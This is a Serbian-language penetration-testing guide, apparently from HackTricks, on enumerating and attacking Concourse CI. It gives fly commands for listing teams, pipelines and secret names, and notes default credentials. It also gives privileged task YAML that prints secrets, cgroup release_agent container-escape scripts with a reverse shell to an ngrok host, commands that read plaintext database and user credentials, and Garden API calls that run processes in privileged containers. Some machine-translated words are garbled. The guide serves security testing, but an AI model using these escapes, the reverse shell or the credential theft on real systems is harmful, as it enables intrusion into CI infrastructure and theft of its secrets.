# Concourse Enumeration & Attacks {{#include ../../banners/hacktricks-training.md}} ## Concourse Enumeration & Attacks ### User Roles & Permissions Concourse dolazi sa pet uloga: - _Concourse_ **Admin**: Ova uloga se dodeljuje samo vlasnicima **glavnog tima** (podrazumevani inicijalni concourse tim). Admini mogu **konfigurisati druge timove** (npr.: `fly set-team`, `fly destroy-team`...). Dozvole ove uloge ne mogu biti pogođene RBAC-om. - **owner**: Vlasnici tima mogu **modifikovati sve unutar tima**. - **member**: Članovi tima mogu **čitati i pisati** unutar **sredstava tima** ali ne mogu modifikovati postavke tima. - **pipeline-operator**: Operatori pipeline-a mogu izvoditi **operacije pipeline-a** kao što su pokretanje gradnji i pinovanje resursa, međutim ne mogu ažurirati konfiguracije pipeline-a. - **viewer**: Gledaoci tima imaju **"samo za čitanje"** pristup timu i njegovim pipeline-ima. > [!NOTE] > Pored toga, **dozvole uloga owner, member, pipeline-operator i viewer mogu biti modifikovane** konfigurišući RBAC (konfigurišući preciznije njegove akcije). Pročitajte više o tome na: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) Napomena da Concourse **grupiše pipeline-e unutar timova**. Stoga korisnici koji pripadaju timu mogu upravljati tim pipeline-ima i **several Teams** može postojati. Korisnik može pripadati više timovima i imati različite dozvole unutar svakog od njih. ### Vars & Credential Manager U YAML konfiguracijama možete konfigurisati vrednosti koristeći sintaksu `((_source-name_:_secret-path_._secret-field_))`.\ [Iz dokumenata:](https://concourse-ci.org/vars.html#var-syntax) **source-name je opcionalan**, i ako se izostavi, koristiće se [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), ili se vrednost može pružiti [statički](https://concourse-ci.org/vars.html#static-vars).\ **Opcionalni \_secret-field**\_ specificira polje na preuzetom tajnom podatku koje treba pročitati. Ako se izostavi, menadžer kredencijala može odlučiti da pročita 'podrazumevano polje' iz preuzetog kredencijala ako polje postoji.\ Pored toga, _**secret-path**_ i _**secret-field**_ mogu biti okruženi dvostrukim navodnicima `"..."` ako **sadrže specijalne karaktere** kao što su `.` i `:`. Na primer, `((source:"my.secret"."field:1"))` će postaviti _secret-path_ na `my.secret` i _secret-field_ na `field:1`. #### Static Vars Statičke varijable mogu biti specificirane u **koracima zadataka**: ```yaml - task: unit-1.13 file: booklit/ci/unit.yml vars: { tag: 1.13 } ``` Or koristeći sledeće `fly` **argumente**: - `-v` ili `--var` `NAME=VALUE` postavlja string `VALUE` kao vrednost za var `NAME`. - `-y` ili `--yaml-var` `NAME=VALUE` parsira `VALUE` kao YAML i postavlja ga kao vrednost za var `NAME`. - `-i` ili `--instance-var` `NAME=VALUE` parsira `VALUE` kao YAML i postavlja ga kao vrednost za instancu var `NAME`. Pogledajte [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) da biste saznali više o instanca var. - `-l` ili `--load-vars-from` `FILE` učitava `FILE`, YAML dokument koji sadrži mapiranje imena var na vrednosti, i postavlja ih sve. #### Upravljanje akreditivima Postoje različiti načini na koje se **Upravljač akreditivima može specificirati** u pipeline-u, pročitajte kako u [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ Pored toga, Concourse podržava različite upravljače akreditivima: - [Upravljač akreditivima Vault](https://concourse-ci.org/vault-credential-manager.html) - [Upravljač akreditivima CredHub](https://concourse-ci.org/credhub-credential-manager.html) - [Upravljač akreditivima AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html) - [Upravljač akreditivima AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html) - [Upravljač akreditivima Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html) - [Upravljač akreditivima Conjur](https://concourse-ci.org/conjur-credential-manager.html) - [Keširanje akreditiva](https://concourse-ci.org/creds-caching.html) - [Redigovanje akreditiva](https://concourse-ci.org/creds-redacting.html) - [Ponovno pokušavanje neuspešnih preuzimanja](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] > Imajte na umu da ako imate neku vrstu **pristupa za pisanje u Concourse** možete kreirati poslove za **ekstrakciju tih tajni** jer Concourse mora imati mogućnost pristupa njima. ### Concourse Enumeracija Da biste enumerisali Concourse okruženje, prvo morate **prikupiti važeće akreditive** ili pronaći **autentifikovani token**, verovatno u `.flyrc` konfiguracionom fajlu. #### Prijava i trenutni korisnik enum - Da biste se prijavili, morate znati **endpoint**, **ime tima** (podrazumevano je `main`) i **tim kojem korisnik pripada**: - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` - Dobijte konfigurirane **ciljeve**: - `fly targets` - Proverite da li je konfigurisana **veza sa ciljem** još uvek **važeća**: - `fly -t status` - Dobijte **ulogu** korisnika u odnosu na navedeni cilj: - `fly -t userinfo` > [!NOTE] > Imajte na umu da je **API token** **sačuvan** u `$HOME/.flyrc` podrazumevano, dok lootujete mašine, mogli biste tamo pronaći akreditive. #### Timovi i korisnici - Dobijte listu timova - `fly -t teams` - Dobijte uloge unutar tima - `fly -t get-team -n ` - Dobijte listu korisnika - `fly -t active-users` #### Pipeline - **Lista** pipeline-a: - `fly -t pipelines -a` - **Dobijte** pipeline yaml (**osetljive informacije** mogu se naći u definiciji): - `fly -t get-pipeline -p ` - Dobijte sve **konfiguracione varijable** deklarisane u pipeline-u - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` - Dobijte sve **nazive tajnih pipeline-a** koji se koriste (ako možete kreirati/modifikovati posao ili preuzeti kontejner, mogli biste ih ekstraktovati): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; echo ""; done echo "" echo "ALL SECRETS" cat /tmp/secrets.txt | sort | uniq rm /tmp/secrets.txt ``` #### Kontejneri i Radnici - Lista **radnika**: - `fly -t workers` - Lista **kontejnera**: - `fly -t containers` - Lista **buildova** (da vidite šta se izvršava): - `fly -t builds` ### Concourse Napadi #### Brute-Force Akreditivi - admin:admin - test:test #### Enumeracija Tajni i Parametara U prethodnom odeljku smo videli kako možete **dobiti sve nazive i varijable tajni** koje koristi pipeline. **Varijable mogu sadržati osetljive informacije** i naziv **tajni će biti koristan kasnije za pokušaj krađe**. #### Sesija unutar pokrenutog ili nedavno pokrenutog kontejnera Ako imate dovoljno privilegija (**član ulogu ili više**) moći ćete da **listaš pipelines i uloge** i jednostavno dobijete **sesiju unutar** `/` **kontejnera** koristeći: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options ``` Sa ovim dozvolama možda ćete moći da: - **Uk盗ite tajne** unutar **kontejnera** - Pokušate da **pobegnete** na čvor - Enumerišete/Iskoristite **cloud metadata** endpoint (iz poda i sa čvora, ako je moguće) #### Kreiranje/Modifikacija Pipeline-a Ako imate dovoljno privilegija (**član ulogu ili više**) moći ćete da **kreirate/modifikujete nove pipeline-ove.** Pogledajte ovaj primer: ```yaml jobs: - name: simple plan: - task: simple-task privileged: true config: # Tells Concourse which type of worker this task should run on platform: linux image_resource: type: registry-image source: repository: busybox # images are pulled from docker hub by default run: path: sh args: - -cx - | echo "$SUPER_SECRET" sleep 1000 params: SUPER_SECRET: ((super.secret)) ``` Sa **modifikacijom/kreiranjem** novog pipeline-a moći ćete da: - **Uk盗** tajne (putem njihovog ispisivanja ili ulaskom u kontejner i pokretanjem `env`) - **Pobegnete** na **čvor** (dajući vam dovoljno privilegija - `privileged: true`) - Enumerirate/Iskoristite **cloud metadata** endpoint (iz poda i sa čvora) - **Obrišete** kreirani pipeline #### Izvršite Prilagođeni Zadatak Ovo je slično prethodnoj metodi, ali umesto modifikacije/kreiranja celog novog pipeline-a, možete **samo izvršiti prilagođeni zadatak** (što će verovatno biti mnogo **diskretnije**): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux image_resource: type: registry-image source: repository: ubuntu run: path: sh args: - -cx - | env sleep 1000 params: SUPER_SECRET: ((super.secret)) ``` ```bash fly -t tutorial execute --privileged --config task_config.yml ``` #### Bekstvo na čvor iz privilegovane zadatke U prethodnim sekcijama smo videli kako da **izvršimo privilegovanu zadatak sa concourse**. Ovo neće dati kontejneru potpuno isti pristup kao privilegovana oznaka u docker kontejneru. Na primer, nećete videti uređaj datoteke čvora u /dev, tako da bi bekstvo moglo biti "kompleksnije". U sledećem PoC-u ćemo koristiti release_agent da bismo pobegli sa nekim malim izmenama: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" # It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x # Enables cgroup notifications on release of the "x" cgroup echo 1 > /tmp/cgrp/x/notify_on_release # CHANGE ME # The host path will look like the following, but you need to change it: host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs" ## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command: #/dev/vda1 on /scratch type ext4 (rw,relatime) #/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime) #/dev/vda1 on /etc/hosts type ext4 (rw,relatime) #/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime) ## Then next part I think is constant "hostpath-provisioner/default/" ## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed # "concourse-work-dir" is constant # "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API) # "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number) ## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant # running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like: # workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028 # the UID is the part we are looking for # Then the host_path is: #host_path="/mnt//hostpath-provisioner/default/concourse-work-dir--worker-/overlays//rootfs" # Sets release_agent to /path/payload echo "$host_path/cmd" > /tmp/cgrp/release_agent #==================================== #Reverse shell echo '#!/bin/bash' > /cmd echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd chmod a+x /cmd #==================================== # Get output echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd #==================================== # Executes the attack by spawning a process that immediately ends inside the "x" child cgroup sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` > [!WARNING] > Kao što ste možda primetili, ovo je samo [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) samo modifikovanjem putanje cmd-a u čvoru #### Bekstvo do čvora iz Worker kontejnera Regularan release_agent escape sa manjom modifikacijom je dovoljan za ovo: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x # Enables cgroup notifications on release of the "x" cgroup echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1` echo "$host_path/cmd" > /tmp/cgrp/release_agent #==================================== #Reverse shell echo '#!/bin/bash' > /cmd echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd chmod a+x /cmd #==================================== # Get output echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd #==================================== # Executes the attack by spawning a process that immediately ends inside the "x" child cgroup sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` #### Bekstvo na čvor iz Web kontejnera Čak i ako web kontejner ima neke odbrane onemogućene, **ne radi kao uobičajen privilegovan kontejner** (na primer, **ne možete** **montirati** i **kapaciteti** su veoma **ograničeni**, tako da su svi laki načini za bekstvo iz kontejnera beskorisni). Međutim, čuva **lokalne akreditive u čistom tekstu**: ```bash cat /concourse-auth/local-users test:test env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` Možete koristiti te kredencijale da **se prijavite na veb server** i **napravite privilegovanu kontejner i pobegnete na čvor**. U okruženju takođe možete pronaći informacije za **pristup postgresql** instanci koju koristi concourse (adresa, **korisničko ime**, **lozinka** i baza podataka među ostalim informacijama): ```bash env | grep -i postg CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432 CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432 CONCOURSE_POSTGRES_USER=concourse CONCOURSE_POSTGRES_DATABASE=concourse CONCOURSE_POSTGRES_PASSWORD=concourse [...] # Access the postgresql db psql -h 10.107.191.238 -U concourse -d concourse select * from password; #Find hashed passwords select * from access_tokens; select * from auth_code; select * from client; select * from refresh_token; select * from teams; #Change the permissions of the users in the teams select * from users; ``` #### Zloupotreba Garden Service - Nije pravi napad > [!WARNING] > Ovo su samo neke zanimljive beleške o servisu, ali pošto sluša samo na localhost-u, ove beleške neće imati nikakav uticaj koji već nismo iskoristili ranije. Podrazumevano, svaki concourse radnik će pokretati [**Garden**](https://github.com/cloudfoundry/garden) servis na portu 7777. Ovaj servis koristi Web master da označi radniku **šta treba da izvrši** (preuzmi sliku i pokreni svaku zadatak). Ovo zvuči prilično dobro za napadača, ali postoje neka dobra zaštita: - On je samo **izložen lokalno** (127..0.0.1) i mislim da kada se radnik autentifikuje prema Web-u sa posebnim SSH servisom, stvara se tunel tako da web server može **da komunicira sa svakim Garden servisom** unutar svakog radnika. - Web server **prati pokretne kontejnere svake nekoliko sekundi**, i **neočekivani** kontejneri se **brišu**. Dakle, ako želite da **pokrenete prilagođeni kontejner**, morate da **manipulišete** sa **komunikacijom** između web servera i garden servisa. Concourse radnici rade sa visokim privilegijama kontejnera: ``` Container Runtime: docker Has Namespaces: pid: true user: false AppArmor Profile: kernel Capabilities: BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` Međutim, tehnike poput **montiranja** /dev uređaja čvora ili release_agent **neće raditi** (jer pravi uređaj sa datotečnim sistemom čvora nije dostupan, samo virtuelni). Ne možemo pristupiti procesima čvora, pa je bekstvo iz čvora bez kernel eksploatacija komplikovano. > [!NOTE] > U prethodnoj sekciji smo videli kako da pobegnemo iz privilegovanog kontejnera, tako da ako možemo **izvršiti** komande u **privilegovanom kontejneru** koji je kreirao **trenutni** **radnik**, mogli bismo **pobegnuti na čvor**. Imajte na umu da sam igrajući se sa concourse-om primetio da kada se novi kontejner pokrene da bi nešto izvršio, procesi kontejnera su dostupni iz radnog kontejnera, tako da je to kao kontejner koji stvara novi kontejner unutar sebe. **Ulazak u pokrenuti privilegovani kontejner** ```bash # Get current container curl 127.0.0.1:7777/containers {"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]} # Get container info curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties # Execute a new process inside a container ## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53 wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' # OR instead of doing all of that, you could just get into the ns of the process of the privileged container nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` **Kreiranje novog privilegovanog kontejnera** Možete vrlo lako kreirati novi kontejner (samo pokrenite nasumični UID) i izvršiti nešto na njemu: ```bash curl -X POST http://127.0.0.1:7777/containers \ -H 'Content-Type: application/json' \ -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' # Wget will be stucked there as long as the process is being executed wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` Međutim, veb server proverava svake nekoliko sekundi kontejnere koji se izvršavaju, i ako se otkrije neočekivani, biće obrisan. Kako se komunikacija odvija u HTTP-u, mogli biste da manipulišete komunikacijom kako biste izbegli brisanje neočekivanih kontejnera: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. . T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157 HTTP/1.1 200 OK. Content-Type: application/json. Date: Thu, 17 Mar 2022 22:42:55 GMT. Content-Length: 131. . {"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]} T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159 DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1. Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. ``` ## Reference - [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html) {{#include ../../banners/hacktricks-training.md}}